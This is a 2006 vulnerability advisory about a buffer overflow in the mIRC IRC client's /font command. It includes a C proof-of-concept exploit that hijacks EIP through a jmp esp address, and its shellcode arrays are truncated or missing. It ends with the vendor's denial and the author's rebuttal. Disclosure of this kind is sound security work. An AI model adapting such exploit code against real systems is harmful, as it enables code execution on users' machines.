Buffer Overflow /Font on mIRC Jan 24 2006 11:24AM
Crowdat Kurobudetsu (crowdat gmail com)
- 1 - Introduction

Written by Khaled Mardam-Bey, mIRC is a friendly IRC client that is
well equipped with options and tools.

- 2 - Vulnerability description

This bug was discovered by a friend (Racy) , with the command exposed
by Racy only hung mIRC, but after debugging and

testing, I discover that allow code execution.
Racy use this command /font -z $readini(c:\a\a.ini,aaaaaaa ,aaaa)
$readini(c:\a\a.ini,aaaaaaa ,aaaa) , in both cases return

null and crash, if the first parameter it's null and the second a long
string can overwrite the EIP and execute code, with

user privileges, DON'T ELEVATE PRIVILEGES.

- 3 - How to exploit it

This PoC open a cmd.exe,also it's possible execute any other code.

----------- CUT HERE ----------------------

This PoC it's for XP SP2 English
Special thanks to Racy from irc-hispano

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int main () {
HWND lHandle;
char command[512]= "/font -z $null";
char strClass[30];
char buffer[128]=

char shellcode[999]=

//Shellcode system("cmd.exe"), system in \xc7\x93\xc2\x77 0x77c293c7
(WinXP Sp2 English)

char saltaoffset[]="\xD6\xD1\xE5\x77"; // jmp esp 0x77E5D1D6 (advapi32.dll)

lHandle = FindWindowEx(FindWindowEx(FindWindowEx(FindWindow("mIRC",
NULL), 0, "MDIClient", 0),0, "mIRC_Status", 0), 0, "Edit

", 0);

if (!lHandle) { printf("Can't find mIRC\n"); return 0; }

printf("mIRC Font Command Exploit: %s\n", command);

SendMessage(lHandle, WM_SETTEXT,0,(LPARAM)command);
SendMessage (lHandle, WM_IME_KEYDOWN, VK_RETURN, 0);

----------- CUT HERE ----------------------

- 4 - Solution

Khaled contacted with me about the latest advisory, he says don't have
any bug, any vulnerability.
This is the solution of Khaled:
"as far as I can tell, this is neither an exploit nor a vulnerability.
The above report describes a local bug in mIRC. The

author of the report indicates that any malicious software on your
computer can modify your mIRC settings to cause mIRC to

crash. But if you have malicious software on your computer, you've
already compromised your security..."

I post a response in the messageboard in mIRC forum, telling that a
exploit isn't a malicious software alone, isn't a trojan

or virus, and if a application it's secure, it's impossibly to execute
any code, the user don't compromise the machine if

download a exploit, the machine it's compromised if the program it's
vulnerable to the exploit, but Khaled delete it and

close the thread.

More info: http://trout.snt.utwente.nl/ubbthreads/showflat.php?Cat=0&Number=146129&

- 5 - Credits

URL Vendor: www.mirc.com
Author: Jordi Corrales ( crowdat[at]gmail.com )
Date: 24/01/2006

Racy post on messageboard:
Spanish Advisory and Compiled Spanish Exploit:

[ reply ]


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